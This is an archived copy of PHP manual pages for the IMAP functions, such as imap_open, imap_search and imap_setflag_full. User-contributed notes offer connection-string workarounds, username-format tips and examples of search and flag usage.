imap_open will not open a stream if your server operates with Transport Layer Security (i.e. TLS) imap_open connects with SSL if its there. So try opening mailbox as

$mailbox="{mail.domain.com:143/imap/notls}";
or
$mailbox="{mail.domain.com:110/pop3/notls}"; This works...

Some mail server requires you to provide username@domain.com so you can always use. user@doamin.com

$conn=imap_open($mailbox, $username, $password);

Some server may ask for username as "user=user@domain.com"

:)
admin at webes dot es
04-Feb-2006 07:03
Just a note concerning "empty mailbox" error in case it helps somebody out there.

whenever the mailbox was empty, I kept on getting errors of the type "Warning: imap_header()..." as there were no messages to read headers of.

Reading through here I sussed that the first entry in "imap_errors()" gives you a clear "Mailbox is empty" if this is the case.

Knowing this, I can now code for not continuing with headers, etc if the mailbox is empty, something like:

$foo = imap_errors();
if($foo[0] !== "Mailbox is empty"){check headeres etc... };

Cheers
Simon F
13-Dec-2005 10:52
I had to use /novalidate-cert

strace php test.php on the CLI proves invalauble to work out exaclty which set of options I needed.
admin at sellchain dot com
09-Dec-2005 12:36
Looking for a cool PHP Script to help you connect to a POP3 server, and download E-Mail to MySQL? Check out my neet-skeet script I wrote. Have fun.

Http://www.sellchain.com/phPOP3/phPOP3.txt

Download the above TXT file, and rename it to phPOP3.php.

Trust me, you will learn mostly everything about IMAP with this script.

By the way, be sure to use print_r($headers) to discover the headers that come with each message. You can setup your MySQL + Email Account information at the top of the script. No includes required!

Enjoyz;)
admin at sellchain dot com
08-Dec-2005 06:54
Regarding PHP.net's CONNECT TO POP3 SERVER command above, I have a modification for some people that might help..

For my mail server, it only accepts mail.server.com types of addresses, so if you are having trouble, try using this method:

$mailbox = imap_open ("{mail.YOURSITE.com:110/pop3}INBOX", "YOURUSERNAME", "YOURPASSWORD");
03-Aug-2005 10:13
WHen you use the /ssl connection...  half open doesnt work...!

what i did was opened it up with the .com:143/pop3}, op_halfopen

when i was getting my folders...
avizion at relay dot dk
12-May-2005 06:30
For FreeBSD users...

If you want to have SSL support, you want to install the ports:

mail/php5-imap
security/php5-openssl

Cheers :)

 - avizion
MaartenKoops.NL
10-May-2005 01:56
Somtimes when you can't connect whit IMAP of POP3 use as username (when connecting like imap_open) user@domain.td.

This workt fine with me. Greetings, Maarten Koops.
m dot stoel at cyberkinetic dot nl
28-Apr-2005 01:50
a little tip for those who get really frustrated even after reading all the right solutions and implementing them but still get the same errors or none at all..:
after having changed the code.. restart the httpd deamon..

for Fedora or any other Red Hat Linux OS (/etc/init.d/httpd restart).

After this you will be able to make a imap/pop3 stream from apache..
thushara dot perera at unilink dot lk
26-Feb-2005 01:19
Warning: imap_open() [function.imap-open]: Couldn't open stream {xx.xx.x.xxx:143}INBOX

correct the connection string as :
{xx.xx.x.xxx:143/notls}INBOX
info at infosoporte.com
25-Feb-2005 10:14
I can connect to my email server with no problem using regular usernames and passwords but.... in my server the usernames are long.. like name.surname1.surname2@subdomain.domain.com , and i get an error when the username size is over 40 chars:

$conn = imap_open("{". $server . ":110/pop3}", $username, $user_password) or die ("Failed with error: ".imap_last_error());

returns

Too many login failures

when the username is over 40 chars. Just remember that if you plan to use long usernames.
elizar.palad
14-Dec-2004 02:22
thanks to the one who added that the login part should be the whole email address for it to work.. (assuming of course that all other stuff is good and working ;)

to add something, in the 'email address' login name, is not really the email address, ,it's the pop login name plus '@' plus the domain.. hope it's not confusing...

poploginname@domain.com

not

emailaddress@domain.com..
gasaunde at vcu dot edu
14-Dec-2004 03:35
I've found that on my servers I _must_ use imap_errors() and imap_alerts() after an imap_open or this error is thrown in the logs when the mailbox is empty: [error] PHP Warning: (null)(); Mailbox is empty (errflg=1) in Unknown on line 0
cg at compile dot ch
20-Sep-2004 08:16
If you use cyrus, passwords shadow via saslauth, check this:

> =====IMAPD.conf======
> configdirectory:        /var/imap
> partition-default:      /var/spool/imap
> sievedir:              /var/imap/sieve
> tls_cert_file:          /etc/cyrusimapd/server.crt
> tls_key_file:          /etc/cyrusimapd/server.key
> admins:                cyrus
> hashimapspool:          yes
> allowanonymouslogin:    no
> allowplaintext:        yes
> unixhierarchysep:      0
> servername:            mail.garage.com
> sasl_pwcheck_method:    saslauthd
> mech_list: plain login

Make this

sasl_mech_list: plain login
liamr at umich dot edu
30-Jun-2004 07:40
To authenticate using kerberos V / GSSAPI, you might need to add "user=" to the connection string.. eg:

$mbox = imap_open( "\{imap.example.com:143/imap/notls/user=" . $user . "}INBOX", $user, $passwd );

Our IMAP servers won't allow a user other than the user specified in the kerberos credentials connect using those credentials unless you specify that extra "user=" in the connection string.  Passing it as an argument to imap_open() doesn't seem to be enough.
nmmm at nmmm dot nu
23-Jun-2004 01:37
To open local mailbox ( mbox ) enter its absolute file name.

>an absolute filename
>This specifies a mailbox in the default format (usually >Berkeley format for most default library builds)

source:
http://aspn.activestate.com/ASPN/CodeDoc/Mail-Cclient/Cclient.html
greenie at oddpost dot com
19-May-2004 07:01
I was trying to use the example code above to connect to a POP mailbox, but no matter how I arranged the elements of the mailbox name, the script hung on the imap_open() command, and never came back. No error message, no timeout - the browser just spins. Strangely, the same syntax worked just fine for a local mailbox.

I did some Googling, and it looks like many others are having the same problem. Finally, I got it to work using the following syntax:

$mbox = imap_open( "{yourmailserver.com/pop3:110/notls}INBOX", "username", "password" );

Note that the port information comes AFTER the "/pop3" bit, which is contrary to the examples given above. I have no idea if this is correct or not, but it works for me :)

FWIW, I'm using PHP 4.1.2.

Also - others here have suggested using the "/notls" part, but haven't explained what it does: it explicitly requests a non-SSL connection.
rleroy at avantages dot com
01-May-2004 01:15
The only way I made a connection to my IMAP server was using the following syntax ->

MAILSERVER="{imap.example.com:143/imap/notls}";

and not

MAILSERVER="{imap.example.com:143}";

That was for a REDHAT 7.1 imapd daemon.

I searched a lil bit before figuring this one out ;-)

rleroy@avantages.com
rvarkelen AT hortimax.nl
14-Jan-2004 07:03
In order to make a IMAP connection to a Microsoft Exchange Server 5.5, I used this connection-string :

<?php
if(imap_open ("{192.168.1.6:143/imap}Inbox", "DOMAIN/USERNAME/ALIAS", "PASSWORD"))
{
   echo 'Connection success!';
}
else
{
   echo 'Connection failed';
}
?>

By replacing "Inbox" with, e.g. "Tasks", its possible to see all your tasks. I Hope this helps anybody!

Regards
marshall /AT\ pacdemon.org
04-Nov-2003 03:50
Thanks for all your comments.  The user comments have saved me countless times.

I'd like to give back in my small way by providing this little tip.  To test your pop or imap services you can use telnet (almost all operating systems should come with a command line telnet client).

Here's the pop3 example (the lines that start with + are the server's response):

   telnet your.pop.host.com 110
   +OK POP3 your.pop.host.com v2001.78 server ready
   user your_username
   +OK User name accepted, password please
   pass your_password
   +OK Mailbox open, 23 messages

Note that your pop server may be on some other port than 110 but that is the default/standard.

Here's the imap example (Lines that have OK near the begining are server responses):

   telnet your.imap.host.com 143
   * OK [CAPABILITY IMAP4REV1...]
   1 LOGIN "your_username" "your_password"
   1 OK [CAPABILITY...] ... User your_username authenticated

This might be old news to some people but I hope it's helpful for many.
marshall /at/ sprux net
19-Aug-2003 07:44
I only run imap on port 993 (ssl only) and I was unable to use imap_open().. couldn't even get an error out of the script, it just sat there and timed out with no messages in the logs or anything--the page wouldn't load.

Anyway, this is what finally worked, which I found in the readme for a popular opensource webmail system:

$i = @imap_open("{localhost:993/ssl/novalidate-cert}INBOX", $user, $pw);

I didn't see the 'ssl' option mentioned anywhere in these comments so maybe this will help someone out.
Kyle Putnam
15-Jun-2003 07:52
I was getting bizzare errors that I couldn't find documentation about anywhere on Google. I tried connecting to another server and got different, but just as unusual error messages. I even checked the POP3 server logs and it said something about invalid command... I figured it was another libc problem.

Stupidly enough, the problem was that I was using an unset variable for the password! Make sure you don't have an empty username or password... you'll have a hard time debugging the problem ;)
stefan dot greifeneder at dioezese-linz dot at
09-May-2003 09:10
Had problems to use imap_open with iMail 6.06 Server. My problem was (sounds stupid): Didn't realise that the username had to be the full email address and not just the login. Maybe this helps some people.
bill dot mccoy at pictureiq dot com
24-Apr-2003 10:29
"notls" seems to be required for PHP on RedHat 8.0, but it seems that "/norsh" is also advisable; without it, the client library will attempt an RSH connection and wait for this to timeout before reverting to normal IMAP. This was causing a 15 second delay in imap_open for me. Looking at the client lib C code this will likely be an issue on other platforms as well as they update to the newer version. You can use both "/notls" and "/norsh", e.g. the first parameter to imap_open can be something like: "{your.imap.host/imap/notls/norsh}".
kaper at nexgc dot com
09-Apr-2003 12:17
I had been having lots of trouble trying to get imap_open to connect to an imap server.  Then I found another post online that suggested this and it worked, so I am going to post it here.  I hope this helps others..

"I have tried with the following strings instead and it works:

for pop3: {www.server.com:110/pop3/notls}INBOX

and for imap: {www.server.com:143/notls}INBOX.
xore at hotmail dot com
02-Apr-2003 08:37
pop3 seems to like refusing connection if you have OP_READONLY set

testers: be forewarned :P
madsiuk at morellos dot net
27-Feb-2003 11:35
hi
  Note for all having problems to connect hosts using imap_open:

  I spent almost week trying to fix my script which was connecting to localhost but was unable to connect any other host. Sollution was actually wery simple but I'm writing that note becouse there are some posts at usenet or forums decribing similiar problems. And actually I haven't found any  answer for that. So for all of you trying to connect to hosts with imap_open CHECK IF THERE IS NO FIREWALL BLOCKING POP3.

madsiuk
russell at flora dot ca
09-Jan-2003 07:07
Note about "PHP Warning:  Certificate failure"

I'm not sure if this is a RedHat, PHP, or IMAP library issue, but the default for SSL seems to have changed.

You now need to specify "/notls" when you don't want TLS, rather than only needing to specify "/ssl" when you do.

Example:

"{localhost:143}INBOX"

becomes:

"{localhost:143/notls}INBOX"
jpdalbec at ccNO dot ysuSPAM dot edu
18-Jun-2002 02:27
I ran into the
PHP Warning:  Certificate failure for <server>: self signed certificate:
message while upgrading 4.0.6->4.1.2.  I'm pleased to report that {<server>:<port>/imap/tls/novalidate-cert}<mailbox>
works as expected (and fixes my problem).  I'm using IMP 2.2.8.
fxbois at free dot fr
06-Jun-2002 02:07
Hi,
I just want to say to all redhat people who have problem (Couldn't open stream) with the connection on the local pop server to use this :
{127.0.0.1:110/pop3/notls}INBOX
hope this help
sgriffith AT dualityofman.dhs.org
15-May-2002 07:35
Just wanted to add that you cannot have any white space between your {}'s.  it took me a little while to figure that out.

"{127.0.0.1:110/pop3}INBOX" is correct

while

"{ 127.0.0.1:110/pop3 } INBOX" is not.

Also, if you forget to put INBOX, it may connect but wont return anything.

just a heads up to anyone else who might have misinterpreted the manuals instructions.
frederik at roal dot no
18-Apr-2002 12:02
For all imap functions where you specify the mailbox string it is important that you ALWAYS use IP (not hostname) and the portnumber. If you do not do this imap functions will be painfully slow.
Using hostname instead of IP adds 3 seconds to each IMAP call, not using portnumber adds 10 seconds to each imap call. (hint: use gethostbyname() )
brojann at netscape dot com
31-Oct-2001 06:01
You can do

<? $foo = imap_errors(); ?>

to clear unwanted warning messages like 'Mailbox is empty'
jdg11 at po dot cwru dot edu
14-Aug-2001 06:41
It would be nice to mention that this function does send headers. It makes sense, but it is not obvious. It took me a while to figure it out. I authenticate against a POP3 server, and set a cookie if the authentication validates. At least I wanted to :) But since it sends a header to the server, setcookie() won't work.
curtis at lamere dot net
27-Jun-2001 07:16
I have found that the syntax for the imap_open command in PHP 4 differs whether you're passing a variable to the imap_open function or declaring the host directly within the function.  If you are passing variables to the imap_open function, the syntax should look like:

$username = "user";
$password = "password";
$mailserver = "mail.somedomina.com:110/imap";

$link = imap_open("\{$mailserver}INBOX",$username,$password);

If you don't include the leading backslash (\) you will not open the stream.  Likewise you cannot pass the curly braces to the function.

If you define the server directly, omit the leading backslash.

$username = "user";
$password = "password";

$link = imap_open("{mail.somedomain.com:110/pop3}",$username,$password)"

I discovered all of this after 3 days of trying to get all of this work on redhat 7.1.
24-May-2001 01:23
A better way to connect to a mail server would be to use uri syntax, for example:

imap://username:password@server.com:143/INBOX/message/part

this is very easy to parse using 'parse_url()'

Remember to keep your username and password hidden if your over an open network
fferreres at joydivision dot com dot ar
29-Mar-2001 11:12
IMAP, POP and NNTP are ok. But plaintext mailboxes are unmentioned here. You just forget the {part} and go for the file (tested on unix):

$mbox = imap_open ($a_mail_box_file_name_in_home_dir, "", "") || die("Snif...:
".imap_last_error());
kvance at n-link dot net
10-Mar-2001 05:34
Connections to the IMAP server work without specifying the port number, but they are slow, so specifying the port number is important if you don't want a slow application.
bandpay at hotmail dot com
05-Dec-2000 04:59
I have a single comment to add about imap_open.
If you want to connect to a news server, without specifying any news gruop, you can use the following:

$server = "{news.servername.com/nntp:119}";
$nntp = imap_open($server,"","",OP_HALFOPEN);

and $nntp will become the connection ID.

Regards
//Babak
add a note add a note

后退 | 起点 | 前进
imap_num_recent | 上一级 | imap_ping


imap_ping

(PHP 3, PHP 4, PHP 5)

imap_ping -- Check if the IMAP stream is still active

Description

bool imap_ping ( resource imap_stream )

Returns TRUE if the stream is still alive, FALSE otherwise.

imap_ping() pings the stream to see if it's still active. It may discover new mail; this is the preferred method for a periodic "new mail check" as well as a "keep alive" for servers which have inactivity timeout.

例子 1. imap_ping() Example

<?php

$imap = imap_open("{your.imap.host}", "mailadmin", "password");

// after some sleeping
if (!imap_ping($imap)) {
    // do some stuff to reconnect
}

?>

add a note add a note User Contributed Notes
28-Dec-2002 08:28
This is a great solution for a webmail class if you want to make sure that a user is still logged in. Example:

<?php
if(!(imap_ping($stream)) {
die("The user is no longer logged in.");
?>
add a note add a note

后退 | 起点 | 前进
imap_open | 上一级 | imap_qprint


imap_qprint

(PHP 3, PHP 4, PHP 5)

imap_qprint -- Convert a quoted-printable string to an 8 bit string

Description

string imap_qprint ( string string )

Convert a quoted-printable string to an 8 bit string (according to RFC2045, section 6.7).

See also imap_8bit().

add a note add a note User Contributed Notes
bletous at yahoo dot fr
28-Aug-2005 08:55
Some mails are encoded in bad quoted printable format:
I use this function to decode the qprint:

for($i=0;$i<256;$i++)
   {
   $c1=dechex($i);
   if(strlen($c1)==1){$c1="0".$c1;}
   $c1="=".$c1;
   $myqprinta[]=$c1;
   $myqprintb[]=chr($i);
   }

function decode($data,$code)
{
if(!$code){return imap_utf7_decode($data);}
if($code==0){return imap_utf7_decode($data);}
if($code==1){return imap_utf8($data);}
if($code==2){return ($data);}
if($code==3){return imap_base64($data);}
if($code==4){return imap_qprint(str_replace($myqprinta,$myqprintb,($data)));}
if($code==5){return ($data);}

}
jdr
17-Jul-2003 12:28
$subject=utf8_decode(imap_utf8($subject));

works instead of imap_qprint on php 4.2.0 (win32)
bernard at bmpsystems dot com
27-Feb-2000 04:35
This function seems to have a bug, when the quoted-printable string contains a "=" without the HEX code of a Character.
I use the regular quoted_printable_decode instead.
add a note add a note

后退 | 起点 | 前进
imap_ping | 上一级 | imap_renamemailbox


imap_renamemailbox

(PHP 3, PHP 4, PHP 5)

imap_renamemailbox -- Rename an old mailbox to new mailbox

Description

bool imap_renamemailbox ( resource imap_stream, string old_mbox, string new_mbox )

This function renames on old mailbox to new mailbox (see imap_open() for the format of mbox names).

如果成功则返回 TRUE，失败则返回 FALSE。

See also imap_createmailbox(),
imap_deletemailbox(), and
imap_open() for the format of
mbox.

add a note add a note User Contributed Notes
josh at paducahwebpublishing dot com
03-Mar-2000 04:13
Don't let "...string old_mbox, string new_mbox);" fool you. You have to add the server and port to the mailbox name also. So it would be something like:

imap_renamemailbox($mailbox, "{localhost:143}$oldfolder", "{localhost:143}$newfolder")

Just thought I would point it out, it took me a while to figure it out.
add a note add a note

后退 | 起点 | 前进
imap_qprint | 上一级 | imap_reopen


imap_reopen

(PHP 3, PHP 4, PHP 5)

imap_reopen -- Reopen IMAP stream to new mailbox

Description

bool imap_reopen ( resource imap_stream, string mailbox [, string options] )

This function reopens the specified stream to a new mailbox on an IMAP or NNTP server.

The options are a bit mask with one or more of the following:

  • OP_READONLY - Open mailbox read-only

  • OP_ANONYMOUS - Don't use or update a .newsrc for news (NNTP only)

  • OP_HALFOPEN - For IMAP and NNTP names, open a connection but don't open a mailbox.

  • CL_EXPUNGE - Expunge mailbox automatically upon mailbox close (see also imap_delete() and imap_expunge())

如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
imap_renamemailbox | 上一级 | imap_rfc822_parse_adrlist


imap_rfc822_parse_adrlist

(PHP 3 >= 3.0.2, PHP 4, PHP 5)

imap_rfc822_parse_adrlist -- Parses an address string

Description

array imap_rfc822_parse_adrlist ( string address, string default_host )

This function parses the address string as defined in RFC2822 and for each address, returns an array of objects. The objects properties are:

  • mailbox - the mailbox name (username)

  • host - the host name

  • personal - the personal name

  • adl - at domain source route

例子 1. imap_rfc822_parse_adrlist() example

<?php

$address_string = "Joe Doe <doe@example.com>, postmaster@example.com, root";
$address_array  = imap_rfc822_parse_adrlist($address_string, "example.com");
if (!is_array($address_array) || count($address_array) < 1) {
    die("something is wrong\n");
}

foreach ($address_array as $val) {
  echo "mailbox : " . $val->mailbox . "<br />\n";
  echo "host    : " . $val->host . "<br />\n";
  echo "personal: " . $val->personal . "<br />\n";
  echo "adl     : " . $val->adl . "<br />\n";
}
?>

add a note add a note User Contributed Notes
Ian Eiloart
17-Oct-2005 09:50
This function does NOT test the syntax of either the local part, or the host part, it will permit illegal characters on either side.

Note that 'host' refers to the email domain, not actually to any host.

The at domain list is an obsolete addressing method which was available for routing email. RFC2822 says that it must be accepted, but should be ignored in routing.

Note that if an address doesn't contain a personal part, or an "at domain list", that part of the array will be missing.

Although RFC2822 permits consecutive comma separators in a list of email addresses, this function does not. That's probably a bug.

In the following list of examples, #4 uses an "at domain list",  #5 and after are illegal domains, but only the last actually generates an error.

$adds = 'ian eiloart <iane@example.ac.uk>,
       shuf6@example.ac.uk,
       blobby,
       "ian,eiloart"<ian@example.ac.uk>,
       <@example.com:foo@example.ac.uk>,
       foo@#,
       ian@-example.com,
       ian@one@two';
$add_arr = imap_rfc822_parse_adrlist($adds, 'example.com');
var_export ($add_arr);

array (
  0 =>
  class stdClass {
   var $mailbox = 'iane';
   var $host = 'example.ac.uk';
   var $personal = 'ian eiloart';
  },
  1 =>
  class stdClass {
   var $mailbox = 'shuf6';
   var $host = 'example.ac.uk';
  },
  2 =>
  class stdClass {
   var $mailbox = 'blobby';
   var $host = 'example.ac.uk';
  },
  3 =>
  class stdClass {
   var $mailbox = 'ian';
   var $host = 'example.ac.uk';
   var $personal = 'ian,eiloart';
  },
  4 =>
  class stdClass {
   var $mailbox = 'foo';
   var $host = 'example.ac.uk';
   var $adl = '@example.com';
  },
  5 =>
  class stdClass {
   var $mailbox = 'foo';
   var $host = '#';
  },
  6 =>
  class stdClass {
   var $mailbox = 'ian';
   var $host = '-example.com';
  },
  7 =>
  class stdClass {
   var $mailbox = 'ian';
   var $host = 'one';
  },
  8 =>
  class stdClass {
   var $mailbox = 'UNEXPECTED_DATA_AFTER_ADDRESS';
   var $host = '.SYNTAX-ERROR.';
  },
)
Rainer Perske
05-Jan-2005 12:20
Invalid addresses, if detected, set host to '.SYNTAX-ERROR.'; but not all invalid addresses get detected as such, e.g. <.@host.do.main> is considered
valid though a single dot is not a valid local part without using quotation marks.
add a note add a note

后退 | 起点 | 前进
imap_reopen | 上一级 | imap_rfc822_parse_headers


imap_rfc822_parse_headers

(PHP 4, PHP 5)

imap_rfc822_parse_headers -- Parse mail headers from a string

Description

object imap_rfc822_parse_headers ( string headers [, string defaulthost] )

This function returns an object of various header elements, similar to imap_header(), except without the flags and other elements that come from the IMAP server.

add a note add a note User Contributed Notes
Oliver
16-Apr-2006 08:50
To see the content of the returned object try this code:

   $stream = imap_open($server, $username, $password);
   $header = imap_fetchheader($stream, $uid, FT_UID);
   $obj = imap_rfc822_parse_headers( $header);
   print "<html><head></head><body><pre>\n";
   print_r($obj);
   print "</pre></body></html>";
   imap_close($stream);
Kevin Casper <casperke at gmail dot com>
02-Feb-2005 02:23
I was lightly probing this function's behavoir.

It handles rfc882 fields:

date
subject
message_id
to
from
reply-to
sender        - will generate using 'from' field if not in
                     header
references
in-reply-to
cc

doesn't handle rfc882 fields:
return-path
received
resent-        I think this field may be obsolete
keywords

If there are other rfc822 fields or behavoirs for the function, then I can't speak of them as they weren't in my test.
As it is relevent to what I'm currently doing I may add more about this function from time to time.
jh at junetz dot de
14-Sep-2004 11:22
But what you /will/ get is a complete To field, i.e. unfolded as specified for long header fields in RFC 822. So if you want to replace imap_headerinfo() by this function, you can run it on imap_fetchheader().
Sven dot Dickert at planb dot de
22-May-2002 07:28
The object you get from imap_rfc822_parse_headers differs from the object you get from imap_headerinfo/imap_header in the following points. You won't get the:
* flags
* msgno
* size
* Maildate
* udate
* fetchfrom
* fetchsubject

udate can be simulated with
$headerobj=imap_rfc822_parse_headers ($header);
$udate=strtotime($headerobj->date);
add a note add a note

后退 | 起点 | 前进
imap_rfc822_parse_adrlist | 上一级 | imap_rfc822_write_address


imap_rfc822_write_address

(PHP 3 >= 3.0.2, PHP 4, PHP 5)

imap_rfc822_write_address -- Returns a properly formatted email address given the mailbox, host, and personal info

Description

string imap_rfc822_write_address ( string mailbox, string host, string personal )

Returns a properly formatted email address as defined in RFC2822 given the mailbox, host, and personal info.

例子 1. imap_rfc822_write_address() example

<?php
echo imap_rfc822_write_address("hartmut", "cvs.php.net", "Hartmut Holzgraefe") . "\n";
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
imap_rfc822_parse_headers | 上一级 | imap_scanmailbox


imap_scanmailbox

(PHP 3, PHP 4, PHP 5)

imap_scanmailbox -- 别名 imap_listscan()

说明

本函数是该函数的别名： imap_listscan().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
imap_rfc822_write_address | 上一级 | imap_search


imap_search

(PHP 3 >= 3.0.12, PHP 4, PHP 5)

imap_search -- This function returns an array of messages matching the given search criteria

Description

array imap_search ( resource imap_stream, string criteria [, int options [, string charset]] )

This function performs a search on the mailbox currently opened in the given imap stream. criteria is a string, delimited by spaces, in which the following keywords are allowed. Any multi-word arguments (e.g. FROM "joey smith") must be quoted.

  • ALL - return all messages matching the rest of the criteria

  • ANSWERED - match messages with the \\ANSWERED flag set

  • BCC "string" - match messages with "string" in the Bcc: field

  • BEFORE "date" - match messages with Date: before "date"

  • BODY "string" - match messages with "string" in the body of the message

  • CC "string" - match messages with "string" in the Cc: field

  • DELETED - match deleted messages

  • FLAGGED - match messages with the \\FLAGGED (sometimes referred to as Important or Urgent) flag set

  • FROM "string" - match messages with "string" in the From: field

  • KEYWORD "string" - match messages with "string" as a keyword

  • NEW - match new messages

  • OLD - match old messages

  • ON "date" - match messages with Date: matching "date"

  • RECENT - match messages with the \\RECENT flag set

  • SEEN - match messages that have been read (the \\SEEN flag is set)

  • SINCE "date" - match messages with Date: after "date"

  • SUBJECT "string" - match messages with "string" in the Subject:

  • TEXT "string" - match messages with text "string"

  • TO "string" - match messages with "string" in the To:

  • UNANSWERED - match messages that have not been answered

  • UNDELETED - match messages that are not deleted

  • UNFLAGGED - match messages that are not flagged

  • UNKEYWORD "string" - match messages that do not have the keyword "string"

  • UNSEEN - match messages which have not been read yet

For example, to match all unanswered messages sent by Mom, you'd use: "UNANSWERED FROM mom". Searches appear to be case insensitive. This list of criteria is from a reading of the UW c-client source code and may be incomplete or inaccurate (see also RFC2060, section 6.4.4).

Valid values for flags are SE_UID, which causes the returned array to contain UIDs instead of messages sequence numbers.

Parameter charset was added in PHP 4.3.3.

add a note add a note User Contributed Notes
lots2learn at gmail dot com
05-Mar-2005 03:22
if no mails match the criteria , imap_search returns an empty array..but the count is still 1...so check for false return status  and not for zero count .
David Koopman
16-Oct-2004 06:35
imap_search fails when I am trying to include an escaped double quote in my search string.  For example:

...
$search = 'David \"the bull\" Koopman';
$search = "BODY \"$search\"";
$result = imap_search($conn, $search, SE_UID);

Results in FALSE, the imap search command is never executed.  I turned on tcpdump and watched the traffic from my server, the SEARCH command is never run.  Remove the double quotes and the command is executed.  I have tried double escaping, still doesn't work.  I am going to report this as a bug.

Raw telnet command works fine:
00000005 UID SEARCH BODY "David \"the bull\" Koopman"
* SEARCH 1773
00000005 OK SEARCH done.
oliver at samera dot com dot py
26-Oct-2002 11:16
imap_search() only supports IMAP2 search criterias, because the function mail_criteria() (from c-client lib) is used in ext/imap/php_imap.c for parsing the search string.
IMAP2 search criteria is defined in RFC 1176, section "tag SEARCH search_criteria".
oliver at samera dot com dot py
27-Jan-2002 01:03
imap_search() return false if it does not understand the search condition or no messages have been found.

$emails imap_seach($mbox, "UNDELETED SENTSINCE 01-Jan-2002");
if($emails === false)
  echo "The search failed";
kkkd at 371 dot net
15-Oct-2001 09:19
imap_search($mbox,$wide." "."\"$key\"");
but don't work when $wide=="BODY";
use $wide="BODY" then display all mail
hxlvt at hotmail dot com
11-Oct-2001 03:29
I was wondering if imap_seach() can handle multiple search strings, and tried this to match both subject and to field:
$bounce = imap_search($new, 'TO "'.$listName.'" SUBJECT "'.$subject.'"', SE_UID);

Seems it works.
eric at ohmforce dot com
15-Mar-2001 08:32
[Editor: restoring note removed by mistake]

Answering to the guys up,
                         I guess it's due to the '. The variables between simple quotes are
                         not parsed.

                         This is why you use the escape characters.

                         Bonjour chez vous :)

                         c*
ommadawn at club-internet dot fr
27-Jul-2000 05:37
It works... Try this (Php 4)
$TresGentil = Imap_Search($MailBox,'BODY "Bonjour"', SE_UID);

$LastWeekMsg = Imap_Search($MailBox,'SINCE "Fri, 21 Jul 2000"', SE_UID); etc...
add a note add a note

后退 | 起点 | 前进
imap_scanmailbox | 上一级 | imap_set_quota


imap_set_quota

(PHP 4 >= 4.0.5, PHP 5)

imap_set_quota -- Sets a quota for a given mailbox

Description

bool imap_set_quota ( resource imap_stream, string quota_root, int quota_limit )

Sets an upper limit quota on a per mailbox basis. This function requires the imap_stream to have been opened as the mail administrator account. It will not work if opened as any other user.

This function is currently only available to users of the c-client2000 or greater library.

imap_stream is the stream pointer returned from a imap_open() call. This stream must be opened as the mail administrator, other wise this function will fail. quota_root is the mailbox to have a quota set. This should follow the IMAP standard format for a mailbox, 'user.name'. quota_limit is the maximum size (in KB) for the quota_root.

Returns TRUE on success and FALSE on error.

例子 1. imap_set_quota() example

<?php
$mbox = imap_open("{your.imap.host:143}", "mailadmin", "password");

if (!imap_set_quota($mbox, "user.kalowsky", 3000)) {
    echo "Error in setting quota\n";
    return;
}

imap_close($mbox);
?>

See also imap_open() and imap_get_quota().

add a note add a note User Contributed Notes
lars at kneschke dot de
19-Mar-2003 10:24
If you want to disable the quotas again, set them to -1.

$mbox = imap_open ("{your.imap.host:143}", "mailadmin", "password");

if(!imap_set_quota($mbox, "user.kalowsky", -1)) {
   print "Error in deleting quota\n";
   return;
}

imap_close($mbox);
add a note add a note

后退 | 起点 | 前进
imap_search | 上一级 | imap_setacl


imap_setacl

(PHP 4 >= 4.1.0, PHP 5)

imap_setacl -- Sets the ACL for a giving mailbox

Description

bool imap_setacl ( resource stream_id, string mailbox, string id, string rights )

警告

本函数暂无文档，仅有参数列表。

This function is currently only available to users of the c-client2000 or greater library.

See also imap_getacl().

add a note add a note User Contributed Notes
panayotis at yellownetroad dot com
07-Oct-2002 07:34
I noticed that using:
imap_setacl ($conn, $mbox, $userid, "")
will act like:
"deleteaclmailbox $mbox $userid"  (remove the ACL on mailbox for userid).
masneyb at seul dot org
28-Jun-2002 01:11
stream_id is the stream returned from imap_open
id is the user to give the rights to
rights is the rights to give to that user

So if I want to give user admin full access to my entire mailbox, I could run

imap_setacl ($conn, "user.masneyb", "admin", "lrswipcda")
add a note add a note

后退 | 起点 | 前进
imap_set_quota | 上一级 | imap_setflag_full


imap_setflag_full

(PHP 3 >= 3.0.3, PHP 4, PHP 5)

imap_setflag_full -- Sets flags on messages

Description

bool imap_setflag_full ( resource stream, string sequence, string flag [, string options] )

This function causes a store to add the specified flag to the flags set for the messages in the specified sequence.

The flags which you can set are "\\Seen", "\\Answered", "\\Flagged", "\\Deleted", and "\\Draft" (as defined by RFC2060).

options are a bit mask and may contain the single option:

  • ST_UID - The sequence argument contains UIDs instead of sequence numbers

例子 1. imap_setflag_full() example

<?php
$mbox = imap_open("{your.imap.host:143}", "username", "password")
     or die("can't connect: " . imap_last_error());

$status = imap_setflag_full($mbox, "2,5", "\\Seen \\Flagged");

echo gettype($status) . "\n";
echo $status . "\n";

imap_close($mbox);
?>

See also: imap_clearflag_full().

add a note add a note User Contributed Notes
calmdown at abendstille dot at
17-Jan-2003 05:54
The imap_setflag_full-function works with pop3 as long as the connection is NOT closed. if you make

imap_setflag_full($mbox, imap_uid($mbox, 0), "\\Seen \\Flagged", ST_UID);

print_r( imap_headerinfo($mbox, 0) );

you see the flags set, but if you call the box again with another script, the flags are empty again.
I tried this on a WinNT (*ugly*) with IIS 4.0 and a running POP3-server with PHP 4.3.
msh at onliners dot dk
25-Apr-2002 11:36
In reply to:
todsah@arise.nl
13-Oct-2000 06:51

The pop3 does indeed support the deleted flag - I have been working with the IMAP functions connection to a POP3 server this past week and lucky me it works.
AJCartmell at ricardo dot com
31-Jan-2002 10:29
Spent ages trying to get this to work, then eventually remembered I had opened the mailbox READONLY - obviously you need write permission for setting flags!
php AT holtsmark DOT no
14-Jan-2002 10:48
Use the imap_clearflag_full function if you want to unset the \Seen flag.

http://www.php.net/manual/en/function.imap-clearflag-full.php
death at metalfield dot com
21-Dec-2000 09:14
Indeed POP3 does not support flags that indicate the "newness" of a message. There are other ways to work around this problem, though. For one, I have seen mail delivery systems that will add a header field Status: to indicate its status (see RFC2076). Another way most email clients and mail fetching programs seem to use is to keep a local list of UID's of messages that are downloaded. Upon fetching mail, the UID's of the messages can be checked against this list to see if it was already downloaded. POP3 supports a command UIDL to get a list of all UID's, but I doubt the IMAP lib uses this command. The only thing I know of that will thrash this work-around is the use of multiple mail clients. If another mail client fetches mail from the server, the first client has no way of knowing it has been downloaded.
todsah at arise dot nl
